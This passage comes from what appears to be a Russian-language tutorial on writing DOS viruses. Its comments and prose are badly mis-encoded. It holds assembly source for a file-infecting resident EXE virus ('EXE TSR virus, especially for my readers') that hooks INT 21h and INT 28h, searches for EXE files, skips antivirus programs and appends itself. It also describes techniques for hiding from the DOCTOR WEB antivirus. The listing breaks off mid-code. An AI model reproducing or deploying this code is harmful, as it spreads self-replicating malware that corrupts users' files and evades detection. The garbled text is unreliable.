               lea dx,header          ; 뢠
               mov cx,27              ; -
               call write             ;  
               jc close_file

               mov dx,f_seek_low      ;⠭
               mov cx,f_seek_high     ;㪠⥫ 
               call setpointer        ;।
                                      ;࠭  
                                      ;䠩
               jc close_file

               lea dx,vir             ; 뢠 
               mov cx,vir_len         ; 
               call write             ;

    close_file:xor ax,ax              ;஥ -
               mov ah,3eh             ; 䠩
               mov bx,descrypt        ;
               int 21h                ;

    restore_dta:
               push ds                ;DS ->  ⥪
               mov ah,1ah             ;⠭
               mov dx,080h            ; DTA -
               mov bp,es              ; ணࠬ-
               mov ds,bp              ;  
               int 21h                ;㭪樨 DOS 1Ah
               pop ds                 ;DS <-  ⥪

               mov ax,my_ip
               mov old_ip,ax
               mov ax,my_cs
               mov old_cs,ax
               mov ax,my_16h
               mov to_16h,ax
               mov ax,my_sp
               mov sp,ax              ;樠㥬
                                      ;ॣ SP ...
               mov ax,cs              ;
               sub ax,to_16h          ;NS0 + 10h ...
               add my_ss,ax           ;᫨ SS ...
               mov ss,my_ss           ;
               add ax,old_cs          ;᫨ CS ...
               mov old_cs,ax          ;
               mov ax,es              ;樠㥬
               mov ds,ax              ;ॣ DS ...

               jmp $ + 2              ;ᨬ ।
                                      ;
               db 0eah                ; ३ 
    old_ip     dw 0                   ;ᯮ
    old_cs     dw 0                   ;ணࠬ ...

    ;Procedure area ...
    ;*************************************************

    setpointer proc                   ;楤 -
	       mov ax,4200h           ;  㪠-
	       mov bx,descrypt        ;⥫   䠩
	       int 21h                ; 
               ret                    ; ...
    setpointer endp

    read       proc                   ;楤  -
               mov ah,3fh             ;  䠩...
	       mov bx,descrypt
	       int 21h
               ret
    read       endp

    write      proc                   ;楤 -
               mov ah,40h             ;  䠩 ...
               mov bx,descrypt
               int 21h
               ret
    write      endp

    mover      proc                   ;楤 㬭-
               mov cx,04h             ; 
    left:      shl dx,1               ;᫮ CX : DX
               shl ax,1               ; 16 ⮤
               adc dx,00h             ;ᤢ ...
               loop left              ;
               ret                    ;
    mover      endp

    ;Data area ...
    ;*************************************************

                                      ;⢥ DTA
                                      ;
               new_dta       db   128 dup (0)

                                      ;᪠  -
                                      ; 䠩 - -
                                      ;
               maska         db   '*.exe',0

                                      ;  -
                                      ; 
                                      ;
                                      ;䠩
               fn            db   12 dup (' '),0

                                      ;ᨢ  -
                                      ; 
               header        db   27 dup ( 0 )

               descrypt      dw   0   ;祩  -
                                      ;ਯ

               to_02h        dw   0   ; 祩 -
               to_04h        dw   0   ; 
               to_16h        dw   0   ;࠭ -
               my_ip         dw   0   ;஢ -
               my_cs         dw   0   ; ࠦ
               my_16h        dw   0   ;ணࠬ 
               my_ss         dw   0   ;⮩,  ன
               my_sp         dw   0   ;⮢
               old_ss        dw   0   ;
               old_sp        dw   0   ;

               f_seek_low    dw   0   ;  ६-
               f_seek_high   dw   0   ; 뢠-
                                      ; 祭
                                      ;㪠⥫

                                      ; ⥪
               new_stack     dw   50 dup ( 0 )

               last          db   0   ; 頥
                                      ;᫥ 
                                      ;ࠦ
                                      ;䠩

                             db   '7' ;᫥ 
                                      ;᭮ 

                                      ; ᭮
                                      ;  
	       vir_len       equ  $-vir

    prg ends
    end vir


         1.17 ᪮쪮 ᫮  ⠭ 

     ਭ樯, ⠭ ᮧ  -
    祬  ⫨砥  ࠭ ᬮ७ .
     ⥫ ⮫쪮   ⠫ :
    ⫠稪 AFD_RUS .COM ४⭮ ࠡ⠥ ⮫쪮  
    㯠묨 EXE - 䠩.᫨  ⠥ 
      ⫠ EXE - ணࠬ,  㯠
     -  ⨫⮩ ᦠ ( ਬ, DIET, LZ_
    EXE  PKLITE ),   ⮣ 祣  .
    筮, ணࠬ  ᯮ, १ -
     ⫠稪  묨 . ⫠ 㯠-
     ணࠬ  ᯮ짮 TURBO DEBUG-
    GER  BORLAND INTERNATIONAL,    -
     ⠪ ணࠬ  ਬ ⫠稪  -
    .

    *
     ᫨  ணࠬ  ,騥 SS  SP,
       " 宦  "  AFD_RUS.COM १
     ࠡ ⫠稪    ᮢ襭 -
     묨.  ந室 ⮬,  㪠 ⫠-
     稪 ᯮ ⥪ ᫥㥬  ணࠬ.
    **
      ⮫쪮  ⬥祭 ⪨ AFD_誨  
         ᤥ 뢮,  ⫠稪
     宩. H,   ⭮襭 -
     쭮 ॢ室   TURBO DEBUGGER. -
     ⥩ AFD_RUS  筮  ⫠ ਬ-
      95 % ணࠬ.


              2 .  
                       EXE - 

             2.1  ࠡ १⭮
                        EXE - 

     砫 ᬮਬ  ࠡ १⭮
    , ࠦ饣 EXE - 䠩 . 祭 宦 
    ᮮ⢥騩   COM - , ⮬
    ஡ ᬠਢ  㤥 :

     樠樨 믮 ᫥騥 ⢨:

    1. 砥 ࠢ  ᪥ ࠦ -
    ࠬ .

    2. ஢, ⠭     १⭠
      .

    3. ᫨ १⭠   ⠭,믮-
     ᫥騥 ⢨ :

       a.) ᪨ ᢮   -
           筮  ࠧ饭  ࠧ .

       .)        -
            .

       .)  ⠡  ஢ 뢠 ᮮ⢥-
           騥   窠 室  -
            ࠡ稪 .

       .) । 祭 CS, IP, SS  SP,-
           室    ࠢ쭮 ࠡ ணࠬ ,
            ன ⮢  .

       .) ࠢ । ࠦ ணࠬ.
            ⮣  ᯮ  ᫮-
            쭥 室    -
           쭥 楤. 室  -
           ᫥묨 CS  IP. ᫥ ⮣  稭
           筮 믮 ணࠬ .

     ⮬ 砥,  ᫨ १⭠     㦥
    室  ,    믮  ⢨
    ᫥  ..  "  "  "  " .

    ⭠  ࠡ⠥  ⠪ " 業 ":

    1.    맮  ⥬  뢠
    INT 21h  楫  室    
    ⠫  ᬥ ⥪饣 ᪠ .

    2. ᫨ 㦨 ᬥ ⥪饣 ᪠  -
    , १⭠   :

       .) ࠭ 室 ﭨ ᫨⥫쭮
           ⥬ .

       .)   ᪥ 室騩 EXE - 䠩 .

       .)      ⮣ 䠩 .

       .) ४஢  䠩 ( . .1.4
           . 1 . 2 ) .

       .) ⠭ 室 ﭨ  ᫨-
           쭮 ⥬  ।  ࠢ .

        砥  COM - ᮬ,  ࠦ 䠩
    믮 ⮫쪮 १⭠  .। -
      "  "   १,  ⠪ 
     ࠭  (  ࠭ - ,   
    १ - 筮 ᫮ . ) .


          2.2   ணࠬ - ⨢ᮢ

    ⭮ ,     饭-
      । . ⮬  ᭮ 㦥 -
    ᪠ .  ᪮쪮 쬠   -
    㦨 襣  ᮢ,  -
      㯮   .    -
    ஥ ᮢ,  "  "    ⨢
    ணࠬ. ᠬ , - ⢥  ""
      ணࠬ DOCTOR WEB  ᪥    -
      ᢥ   ᨫ   . ⮬
    ᠬ ६   ᯮᮡ   ᮬ
    ᢮   ᫨⥫쭮 ⥬ .
    孨   ᭮ ணࠬ   㦥
     ᬮਬ  ਬ ᥬ ⭮ ⨢-
     DOCTOR WEB.  ணࠬ  -
     㤠筮  ᯮ㥬.
      ,  㦥  ᮢ
    DOCTOR WEB ᯮ ⠪ 뢠 ᪨
    , 騩 ⢨ 祫, -
    饣 㦨  .
          ᫥饬 ।-
     :᪨  ,  ,
    ।⠢ ᮡ  蠣 ⫠稪
     ணࠬ, 饩 १  ࠡ .
    ३    . ᫨   " ࠧ "   -
     ᠭ ࠭ १ COM - ᮬ,
     ⮬  DOCTOR WEB ( ०  ஢
       祭 ),   㤥 -
    㦥   १ .஬ ⮣, -
    ⨢᭠ ணࠬ ।   ,  
    ஬ 室   . ᫨  ᬮ-
     ᮤন   ⮬ , 㢨,
     DOCTOR WEB " 訡 ".  -  㪠
     ᯮ ᮡ⢥  ᠬ , ⮫쪮
     ࠡ稪 뢠 INT 21h. ⠫ -
     ࠡ稪 ⨢  ⨫  .
    室  ⮣  ᤥ ⠪ 뢮 :

    1.) ᪨   ।,  
          㪠뢠   뢠  INT 21h 
        ⠡ ஢ .

    2.)  㯠  ⢨ ᫥騥  ᮮࠦ-
         : ࠡ稪 뢠 INT 21h   -
           室  ᠬ  (-
        ਬ,   BIOS)   ᠬ -
         (ਬ,  ᫥ ᥣ)  
        ᭮  .⮬  㦥 ⠪
        樨 ᪨  ⠥, 
        ⥬ ࠦ  ᮬ,  -
        ⢥ ,   ஬ ᯮ   ,
        뤠  ࠡ稪 INT 21h .

     ,   ⠪ 㦥  ᫮. 짮-
    ⥫   ᠬ,⢨⥫쭮   -
       . ⬥⨬,   -
      ⮣   㦭   쭮  ᮪
    䨪, ⮬  饣 設⢠
    짮⥫  ।⠢ ࠧ訬.


              2.3  ॠ  
                 ᪮ 

    祢,   㤥   ,᫨ ࠧ-
     ࠡ稪 INT 21h  ⮩  ,  -
     㦠 짮⥫᪨ ணࠬ . -
     ஭,   頥  ᢮    ᠬ
    訥  ᭮  . ⢥  -
    室   뫮  ᠭ ࠡ稪 ,
    饣   ⥩.  ⮬ "ࢠ" 
     㦠   ,뤥 
    㧪 ਪ ணࠬ, "" -  
    ⠫쭮   - ᫥   -
    訥  ᭮  . 砥 
    뢠 INT 21h ࠢ  㤥  ।
    ࢮ ,  ⥬ ।  ன.
     ᮦ,  ⮤ ᥡ  ࠢ뢠.DOC-
    TOR WEB    ᪮   
     ࠡ稪 INT 21h  室   -
     ( ⥬ )  ,  ६ ஫
     ࠡ稪,   祭   -
    ⥫ १⮢ 뤠 ᮮ饭  稨 -
    ⭮  .⮬ 室 ᤥ ⠪,
    ⮡  ஢ "ࢮ"    ࠢ-
     ⫠稪 뢠 ⥬ ࠡ稪, 
     "ଠ쭮" ஢ -  ( ᯥ-
    ਬ 뢠, DOCTOR WEB,⭥ ᥣ,
    ᮤন ஥ ⫠稪) . ॠ樨 㪠-
     ⮤  ᯮ짮 ᮡ -
    ய,   稨 ।  .
            㯨,
    ⠪  , ॠ騩 ⠪ , 㤥
    ࠡ     PENTIUM -   
    ᫥ ⠪  뢠 ⥬  ண஢
    室.   㯨  㣮.  
     ⫠稪 ⥭ᨢ ᯮ 뢠 01h
    ( One Step ),ࠡ稪 ண ⠭ -
      ய  ᫥ 믮  -
    . ⮬  ⢥  ।,  
    ஢ ᪮  DOCTOR WEB -
     ᮡ⢥ ࠡ稪 Int 01h, ,
        ⥬ ࠡ稪   ⠡
    ஢ 뢠. 䠪  ⮣  
     㤥  ਥ஢. ᯥਬ⠫  ⥬
    뫮 ⠭,  ⥬ ࠡ稪 Int 01h
    室      ⠪  : 0070:XXXX.
    ⥫쭮, 筮 ஢ ᥣ -
     ࠡ稪 Int 01h, ⮡ ᪠, 墠-
    -  뢠  - ਪ -
    ࠬ.
     ஡,  ஥ -
    ࠬ ࠡ⪨ 뢠   ⥩, -
       祬: ⭮, 㤠  ᫥ -
     "  " ,⮡   ࠫ 
    㧪 ணࠬ    ࠡ,   뫠  
     , ਬ, VC.COM  RELEASE.
    ᫥묨 ᯥਬ⠬  뫮 ⠭ ,
      ࠧ饭 ⪠ ࠡ稪 뢠,
    ⢥⢥  "  " ᪮  -
    ,  ᯮ짮   38h  5Ch,-
    騥 PSP ࢮ 㦥   ண-
     .  १ࢨ஢ ࠧࠡ稪 -
    樮 ⥬, ⭮,   ᨩ,
      祭  ﭭ묨  祭 ᥣ
    ᥠ ࠡ  .஬ ⮣, १ࢨ-
     ࠭⢠  PSP  墠   ࠧ-
    饭 ணࠬ ࠡ⪨ 뢠 .
    ⠪,  । ᫥騩  :

    1.) ᪨ PSP  ࢮ 㦥   
        ணࠬ .

    2.)   38h - 5Ch 뢠   " ஬-
        筮 " ࠡ稪 뢠 INT 21h .
           뢠  ⥬ ࠡ稪 
        ࠡ  ࠢ ⫠稪    
        ⨢ 砥 .

    *    ᠬ   ᯮ짮  㣨  -
         PSP, ᯮ ᫥   ᬥ-
         5Ch ( ਬ୮ 32  -  直 -
        ⢨. ).

    3.)  ⠡  ஢ 뢠   INT 21h
           室  ஬  -
        ࠡ稪 .

    , ᮡ⢥,   .


           2.4 㥬 । 

      ਫ,᭠砫 ᫥  PSP -
     㦥   ணࠬ .  ᤥ-
     ᫥騬 ࠧ :

    find_psp:  push es                ; 
               xor di,di              ;PSP  
               xor ax,ax

    to_new_seg:inc ax
               mov es,ax
               cmp ax,0ffffh          ; ᥣ -
               jae free_mem           ;᫥ ?
	       cmp byte ptr es:[di],4dh
                                      ; - MCB -
                                      ; ?
	       jne to_new_seg         ; !
    to_test:   mov bx,ax              ; !
               add bx,es:[di+3]
               inc bx
               mov es,bx
               cmp byte ptr es:[di],4dh
                                      ;騩 MCB
                                      ;४⥭ ?
               je  restore_es         ; !
               cmp byte ptr es:[di],5ah
               jne to_new_seg         ; !
    restore_es:mov es,ax
            cmp word ptr es:[di+1],0  ;MCB ᢮ ?
               je to_new_seg          ; !
               mov bx,es
               inc bx
               cmp es:[di+1],bx
               jne to_new_seg
       cmp byte ptr es:[di+10h],0cdh  ;᫥ MCB ᫥-
                                      ; PSP ?
               jne to_new_seg         ; - ⮣ 
                                      ;  -
                                      ; ...
               mov first_psp,es       ; - 
               mov cx,es              ;㦭 
               dec es_save            ; 
               cmp es_save,cx         ; ,  -
                                      ;諨 ᢮ 
                                      ;PSP ?
               jne add_05h            ; !
               pop es
               jmp fresh_input        ; !
    add_05h:   add first_psp,05h

    ,   PSP  ᯮ     ࠧ
    ᫥  MCB - ,뤥 樮 -
    ⥬  㧪 ணࠬ,   ⮬  PSP
      ᫮ 0CDh,   ᯮ   -
     ࠣ .
    ⥫쭮 ᫥ ᬮ ᫥ -
     : 筮   PSP    PSP -
      COMMAND.COM .   
    䨣 樮 ⥬  (ਬ,  
    ᯮ짮 WINDOWS 95  ० 樨 MS DOS)
     ࠢ   ᮡ . 
    ⠪,  ࢮ  䠩  AUTOEXEC.BAT  㧪
    㪠 १⭠ EXE - ணࠬ,  ࠦ
    訬 ᮬ.  ⮩ ணࠬ  䠪-
    ᪨    PSP   㤠 ⥪ -
    筮 ࠡ稪  INT 21h .  ணࠬ
    १⭮ , ᫥ 祣   
     㤥 ᯮ짮 㣨 ணࠬ, -
    ⮬   ஬ ࠡ稪 㤥  ,
      易⥫쭮 ᭥ . ⮡ ⮣  
    ந諮,  ஢,    PSP  
     ,    ᫨   ᠭ 
    , ⪠뢠  ࠦ  .
     ⠫쭮 ࠡ ࠣ ᭠ .


           2.5 襬 ஬ ࠡ稪

     ᫥  " ஬ " ࠡ-
    稪 뢠 INT 21h,  뢠 -
    ⥬   ࠡ稪   뢠-
      ᨬ  ० ࠡ  .
      , ਬ, ⠪ :

    to_bios:   push ax                ;  ஬-
                                      ;筮
               push ds                ;ࠡ稪
                                      ;INT 21h ...
               pushf
               xor ax,ax
               mov ds,ax
    cmp word ptr ds:[0006h],0070h     ;Int 01h -
                                      ;墠祭 ?
               jne cs:uuuuu           ;JMP   ⥬-
                                      ;  -
                                      ; ࠡ稪
                                      ;INT 21h ...
               popf
               pop ds
               pop ax
               db 0eah                ;  ...
    our_21h_ip dw to_new_21h
    our_21h_cs dw 00h
    uuuuu:     popf
               pop ds
               pop ax
               db 0eah                ; ⥬...
    sys_21h_ip dw 00h
    sys_21h_cs dw 00h

    code_len equ $ - to_bios          ; ࠡ-
                                      ;稪

     ࠣ ᠭ  ⮫쪮 ,  -
     ᭥    ࠡ  ॡ.


         2.6   㦥   䠩

       㦥  䠩  -
    , 祬  .筮 ⮫쪮 ஢ -
      ᪠  EXE - ணࠬ ( *.exe ),   
    㦥  㤥.⢥, । ᪮ 䠩-
     -  ᪠   ஢,  -
    ࠦ 䠩 ⢮  ஢  -
    .
     襭 ⮩   । ⠪  -
    : ᪠ ஢뢠 ᭮  , -
    室饩  , ।⢥ ।  ᪮
    EXE-䠩,   ᭮   䠩 ᭮
    . - DOCTOR WEB ⠭ ⠭
    १    ,  ⮬    ஢-
    ,   ࠡ⠥.   ⮬ ᬮ 
     宦  ࠦ ணࠬ  ⫠稪
     㢨 ⮫쪮 ஢ .


              2.7 ᪮쪮 ᫮  ।
              ⢨ ᭮ ணࠬ

    ,  ࠢ,  ⮣  ,⮡ -
     ।    짮⥫ﬨ .-
    ⮬ ⢥ 뫮     --
     ⢨,騥 ଠ쭮 ࠡ  -
    ஢ ஢ .筮,  ஬
    ᢮ :   ਢ쭮 ஢  
    " 믠 " 㪢  ࠭  ଠ஢ -
     .     ᮤঠ 쥧
    訡,   -    ࠦ ⥬ 
     ࠡ, ⮬  -   -
    ⭮ ਤ㬠  .
    ᪮   祡 ,   㤥
    ࠧ  " ।⥫ " ⥬,    ⮣
    ।⠢ 訬 ⥫   ⢮᪨
      .   - ந 
      ணࠬ  ।  ⢨   冷
    ,祬 ᮧ  ணࠬ. ⮫쪮, 
    ⮢ ᮢ -  祭 ୮, 
       ᯨ樨 ᯮᮡ ਭ  ᠬ
    " ⥫ "  ⭮⥩.  (-
     㦨) - 쭮 ⭠ 㪠,  
    ⥬ 祭 ᭠.


        2.8  ⥪ १⭮ EXE - 

       㦥 ਫ,  ணࠬ   
    ⮣   ।  䠪᪨ ⠢ 
     ⥩ .⮬  , ⭮, -
    祣 .᫥  - ਢ  ⥪ ࠧ-
    ࠡ⠭  १⭮ EXE -  :

    ; _______________________________________________
    ;|                                               |
    ;| EXE TSR virus                                 |
    ;| Especially for my readers                     |
    ;|_______________________________________________|

    prg segment
        assume cs:prg,ds:prg,es:prg,ss:prg
               org 100h

    vir:       db 0ebh                ;9090h - 
                                      ;१⭮
               db push_len            ;ࠡ .

               pushf
               call cs:rest_code      ; 
                                      ;⠭
                                      ;஬
                                      ;ࠡ稪
                                      ;INT 21h ...
               cmp bx,1997h           ; ஢ઠ
               jne cs:not_our         ;୮ -
               mov ah,0ffh            ;㧪  
               popf                   ; ?
               iret                   ;
    not_our:cmp cs:tg_infect - 100h,1 ;⨢஢-
                                      ; ?
               je cs:vir_2            ; ...
               popf
    jmp dword ptr cs:old_28h - 100h   ; - 맮
                                      ; INT 28h,
                                      ;⮡ 
                                      ;"⮯" 㣨
                                      ;१ ...

    vir_2:     db 9ah
    old_28h    dw 0
    old_28h_2  dw 0
               pushf                  ;࠭  -
                                      ; ॣ
               push ax
               push bx
               push cx
               push dx
               push si
               push di
               push bp
               push ds
               push es
               jmp cs:infect          ;३  -
                                      ; 䠩...
               push_len equ $-vir - 2

               mov ax,cs              ;ࠢ DS 
                                      ;ࠡ
               db 2dh                 ; ࠦ
                                      ;EXE - 䠩 .
    sub_ds     dw 0
               mov ds,ax
               mov ax,ds
               mov es_save,es         ;࠭ -
                                      ; ES ,襥
                                      ; 㧪
                                      ;ணࠬ ...
               push es

               mov ax,old_ip          ;⠭ -
                                      ;室 -
               mov my_ip,ax           ; 
                                      ;ࠦ
               mov ax,old_cs          ;䠩 ...
               mov my_cs,ax
               mov ax,to_16h
               mov my_16h,ax
               mov ax,old_ss
               mov my_ss,ax
               mov ax,old_sp
               mov my_sp,ax
                                      ;஢ਬ ,
                                      ;  -
               mov bx,1997h           ; , 
               int 28h                ; ...

       	       cmp ah,0ffh
      	       jne inst               ; - ⠭-
                                      ; ...

    fresh_input:
               pop es

               mov ax,my_ip           ;⠭
                                      ;室 CS
               mov old_ip,ax          ; IP , ⠪
                                      ;室
               mov ax,my_cs           ; ࠢ쭮
                                      ;ࠡ
               mov old_cs,ax          ;祭 SS 
                                      ;SP ...
               mov ax,my_16h
               mov to_16h,ax
               mov ax,my_sp
               mov sp,ax

               mov ax,cs              ;⠥ 
                                      ;室
               sub ax,to_16h          ;EXE - ணࠬ
               add my_ss,ax
               mov ss,my_ss
               add ax,old_cs
               mov old_cs,ax
               push ax
               push old_ip            ;⠭ DS
               mov ax,es
               mov ds,ax
               db 0cbh                ;設 
                                      ; -
                                      ;  쭥
                                      ;楤 ...

    old_ip     dw 0                   ;
    old_cs     dw 0                   ;

    inst:      push es                ; 
                                      ;PSP 
               xor di,di              ; ...
               xor ax,ax

    to_new_seg:inc ax
               mov es,ax
               cmp ax,0ffffh          ; ᥣ -
                                      ;᫥ ?
               jae free_mem
    cmp byte ptr es:[di],4dh          ; -
                                      ;MCB -  ?
	       jne to_new_seg         ; !
    to_test:   mov bx,ax              ; !
               add bx,es:[di+3]
               inc bx
               mov es,bx
    cmp byte ptr es:[di],4dh          ;騩 MCB
                                      ;४⥭ ?
               je  restore_es         ; !
               cmp byte ptr es:[di],5ah
               jne to_new_seg         ; !
    restore_es:mov es,ax
    cmp word ptr es:[di+1],0          ;MCB ᢮ ?
               je to_new_seg          ; !
               mov bx,es
               inc bx
               cmp es:[di+1],bx
               jne to_new_seg
    cmp byte ptr es:[di+10h],0cdh     ;᫥ MCB ᫥-
                                      ; PSP ?
               jne to_new_seg         ; - ⮣ 
                                      ; 
                                      ; ...
               mov first_psp,es       ; - 
                                      ;㦭 
               mov cx,es              ; 
               dec es_save
               cmp es_save,cx         ;  , -
                                      ;諨 ᢮
                                      ; PSP ?
               jne add_05h            ; !
               pop es
               jmp fresh_input        ; !
    add_05h:   add first_psp,05h

    free_mem:  pop es

               mov ah,4ah             ;। ꥬ
                                      ;㯭
                                      ; ...
               mov bx,0ffffh          ; -
                                      ;
               int 21h                ;祭
                                      ;(0ffffh) !

    ; _______________________________________________
    ;|  ᢮ MCB -  ,⮡  뫮 |
    ;|    १   ...  |
    ;|_______________________________________________|

               sub bx,vir_par + 4     ;⠢ 
                                      ; 4 ࠣ
                                      ; ,祬
                                      ; ᠬ 
               mov ah,4ah             ; ⠫쭠
                                      ;
               int 21h                ;㤥  ...
               jnc give_mem

    to_fresh_input:
               jmp fresh_input

    give_mem:  mov ah,48h             ;ᨬ DOS
                                      ;⤠ ᢮-
                                      ;  
               mov bx,vir_par + 2     ;  
                                      ;ࠣ ...
               int 21h
               jc to_fresh_input

    ; _______________________________________________
    ;| ᢮               |
    ;|( ᥣ   AX ) , 㦭             |
    ;|     ...                 |
    ;|_______________________________________________|

               xor di,di              ;
               mov bx,ax              ;
               dec bx                 ;
               mov word ptr es:[2],bx ;४㥬
                                      ;PSP ...
               mov es,bx              ; 
               mov bx,0070h           ;"  "
               mov es:[di+1],bx       ;  ...

               mov es,di              ;砥 -
                                      ; 뢠
               cli
               mov di,084h            ;Int 21h ...
               mov bx,es:[di]
               mov old_21h,bx
               mov bx,es:[di+2]
               mov old_21h_2,bx

               mov di,0a0h            ;Int 28h ...
               mov bx,es:[di]
               mov old_28h,bx
               mov bx,es:[di+2]
               mov old_28h_2,bx
               sti

               mov word ptr vir,9090h ;⠢
                                      ;
               mov tg_infect,0        ; १⭮
                                      ;ࠡ ...

               mov our_21h_cs,ax      ; 祭
                                      ;ॡ
               mov bx,old_21h         ;஬筮
                                      ;ࠡ-
               mov sys_21h_ip,bx      ;稪 INT 21h...
               mov bx,old_21h_2
               mov sys_21h_cs,bx

               push es                ; 
                                      ;᪮㥬 
               cli                    ;  -
                                      ; 
               mov es,first_psp       ;  PSP...
               xor di,di
               lea si,to_bios
               mov cx,code_len
    new_code:  mov bl,byte ptr [si]
               mov byte ptr es:[di],bl
               inc si
               inc di
               loop new_code
               sti
               pop es

               mov es,ax              ;㥬  
                                      ;  ᠬ
               xor di,di              ; ...
               mov cx,vir_len
    prg_copy:  mov bl,byte ptr vir[di]
               mov byte ptr es:[di],bl
               inc di
               loop prg_copy

               xor bx,bx              ;⠭
                                      ;
                                      ;뢠 
                                      ;
	       mov es,bx              ;ࠡ稪 ...
               cli
               mov di,084h            ;Int 21h ...
               mov word ptr es:[di],00h
               mov bx,first_psp
    mov word ptr es:[di + 2],bx

	       mov di,0a0h            ;Int 28h ...
               mov word ptr es:[di],0
               mov es:[di+2],ax
               sti

               jmp fresh_input        ;⠭ -
                                      ;   -
                                      ;襭 ...

    infect:    push cs                ;DS = CS ...
               pop ds

               mov ax,ds              ;TSR - ४
               sub ax,10h             ;DS ...
               mov ds,ax

               mov tg_infect,0

               mov ah,2fh             ;稬 ⥪
               int 21h                ;DTA ...

               mov es_dta,es          ; ࠭ 
               mov bx_dta,bx

               mov ah,1ah             ; ⥯
                                      ;⠭
	       lea dx,new_dta         ;ᮡ⢥ DTA
               int 21h

    find_first:mov maska[0],'*'       ;஢ -
    cmp word ptr cs:[0],9090h         ;᪨ ⮫쪮 
               je cs:fifa             ;१⭮
               mov maska[0],'a'       ;०

    fifa:      mov ah,4eh             ; 
	       mov cx,00100110b       ;䠩 ...
	       lea dx,maska
	       int 21h
	       jnc cs:r_3
	       jmp cs:restore_dta

    find_next: mov ah,3eh             ;஥ -
               mov bx,descrypt        ;室騩 䠩
	       int 21h
	       jnc cs:r_2
	       jmp cs:restore_dta

    r_2:       mov ah,4fh             ; ᫥-
	       int 21h                ;騩 ...
	       jnc cs:r_3
	       jmp cs:restore_dta

    r_3:	   mov cx,12
	       lea si,fn              ;६ ஥
    kill_name: mov byte ptr [si],0    ;  
	       inc si
	       loop cs:kill_name

               xor si,si              ; 襬 
    copy_name: mov al,byte ptr new_dta[si + 01eh]
	       cmp al,0
	       je cs:check_name
	       mov byte ptr fn[si],al
	       inc si
	       jmp cs:copy_name

    check_name:mov cx,4               ;஢ਬ  
               lea si,name_1          ;ਭ
               call cs:search         ; ⨢-
               cmp inside,1           ; ணࠬ
               je cs:r_2

               lea si,name_2          ;
               call cs:search
               cmp inside,1
               je cs:r_2

               lea si,name_3          ;
               call cs:search
               cmp inside,1
               je cs:r_2

               lea si,name_4          ;
               call cs:search
               cmp inside,1
               je cs:r_2

               lea si,name_5          ;
               call cs:search
               cmp inside,1
               je cs:r_2
                                      ;
               mov cx,3
               lea si,name_6
               call cs:search
               cmp inside,1
               je cs:to_r_2

    open_file: mov ax,3d02h           ;஥ 
	       lea dx,fn              ;䠩 ...
	       int 21h
	       jnc cs:found_size
    to_r_2:	   jmp cs:r_2

    found_size:mov descrypt,ax        ;⠭ 㪠-
                                      ;⥫  -
    mov cx,word ptr [new_dta + 01ch]  ; 䠩 ...
               mov dx,word ptr [new_dta + 01ah]
               sub dx,1
               sbb cx,0
               call cs:setpointer
               jnc cs:read_last
               jmp cs:find_next

    read_last: mov cx,1               ;⠥ ᫥-
               lea dx,last            ;  ...
               call cs:read
	       jnc cs:compar
               jmp cs:close_file

    compar:    cmp last,'7'           ; -
                                      ;
	       jne cs:mmm
               jmp cs:find_next

    mmm:       xor cx,cx              ;⠥ -
               xor dx,dx              ; EXE - 䠩
               call cs:setpointer
               jnc cs:read_head
    to_next:   jmp cs:find_next

    read_head: mov cx,27              ;
               lea dx,header          ;
               call cs:read           ;
               jnc cs:next_step       ;
               jmp cs:restore_dta     ;
                                      ; :
                                      ;祭 IP
                                      ;䠩 ...
    next_step: mov ax,word ptr header[14h]
               mov old_ip,ax
                                      ;祭 CS
                                      ;䠩 ...
               mov ax,word ptr header[16h]
               mov old_cs,ax
                                      ;祭 SS
                                      ;䠩 ...
               mov ax,word ptr header[0eh]
               mov old_ss,ax
                                      ;祭 SP
                                      ;䠩 ...
               mov ax,word ptr header[10h]
               mov old_sp,ax
                                      ;᫨ ...
               mov ax,word ptr header[04h]
               mov cl,5
               shl ax,cl
               cmp ax,0f000h          ; 
                                      ;983040  ?
               jna cs:good_size       ; !
               jmp cs:find_next       ; !
    good_size: mov di,ax
               sub ax,word ptr header[08h]
               mov to_16h,ax          ; 祭
                                      ;CS ...

               mov ax,di
               xor dx,dx
               call cs:mover
               mov f_seek_low,ax
               mov f_seek_high,dx
    cmp dx,word ptr [new_dta + 01ch]  ; ᮤন
                                      ;૥ ?
               jl cs:to_next          ; !
               ja cs:not_ovl          ; !
               cmp ax,word ptr [new_dta + 01ah]
               jae cs:not_ovl         ; !
               jmp cs:find_next       ; !
    not_ovl:   add ax,vir_len
               adc dx,0
               mov bx,512
               div bx
               cmp dx,0
               je cs:round
               inc ax
    round:     mov to_04h,ax          ; 
                                      ;䠩  ࠭-
                                      ; ...
               mov to_02h,dx
    mov word ptr header[02h],dx       ;  -
                                      ;  -
               mov ax,to_04h          ;ﬨ ᮮ⢥-
                                      ;騥
    mov word ptr header[04h],ax       ; 
               mov word ptr header[14h],0
               mov ax,to_16h
               mov word ptr header[16h],ax
               mov word ptr header[0eh],ax
    mov word ptr header[10h],to_new_stack + 96
               mov sub_ds,10h
               mov maska[0],'a'

               xor dx,dx              ;襬
               xor cx,cx              ;᪮४஢-
               call cs:setpointer     ; 
               jc cs:close_file       ;  ...

               lea dx,header
               mov cx,27
               call cs:write
               jc cs:close_file

               mov dx,f_seek_low      ;⠭ 㪠-
               mov cx,f_seek_high     ;⥫  䠩
               call cs:setpointer
               jc cs:close_file

               mov cx,2               ;襬 砫
               lea dx,end_file        ; ...
               call cs:write
               jc cs:close_file

               lea dx,vir + 2         ; ⠫
               mov cx,vir_len - 2     ; ...
               call cs:write

    close_file:xor ax,ax              ;஥ -
               mov ah,3eh             ; 䠩 ...
               mov bx,descrypt
               int 21h

    restore_dta:                      ;⠭ DTA
               push ds
               mov ah,1ah
               mov dx,bx_dta
               mov ds,es_dta
               int 21h
               pop ds

    exit_zarasa:
               pop es                 ; ॣ ...
               pop ds
               pop bp
               pop di
               pop si
               pop dx
               pop cx
               pop bx
               pop ax
	       popf
               iret                   ;室 ...

    ;-------------------------------------------------

    ; _______________________________________________
    ;|                                               |
    ;| 襬  ࠡ稪 INT 21h  INT 24h   |
    ;|_______________________________________________|

    ;-------------------------------------------------

               to_new_21h equ $-vir

    new_21h:   jmp cs:start_21h

    tg_infect  db   0

    start_21h: call cs:rest_code      ; 直 -
                                      ;砩 ⠭
                                      ;஬
                                      ;ࠡ稪
                                      ;INT 21h ...
               pushf
               push di
               push es
               xor di,di              ;墠
               mov es,di              ;Int  24h 
               mov di,90h             ;१⭮
    mov word ptr es:[di],to_new_24h   ;०
               mov es:[di+2],cs
               cmp ah,03bh            ; ⠫?
               jne cs:new_cmp_1
    mov cs:tg_infect - 100h,1         ; - 
                                      ;ਣ ...
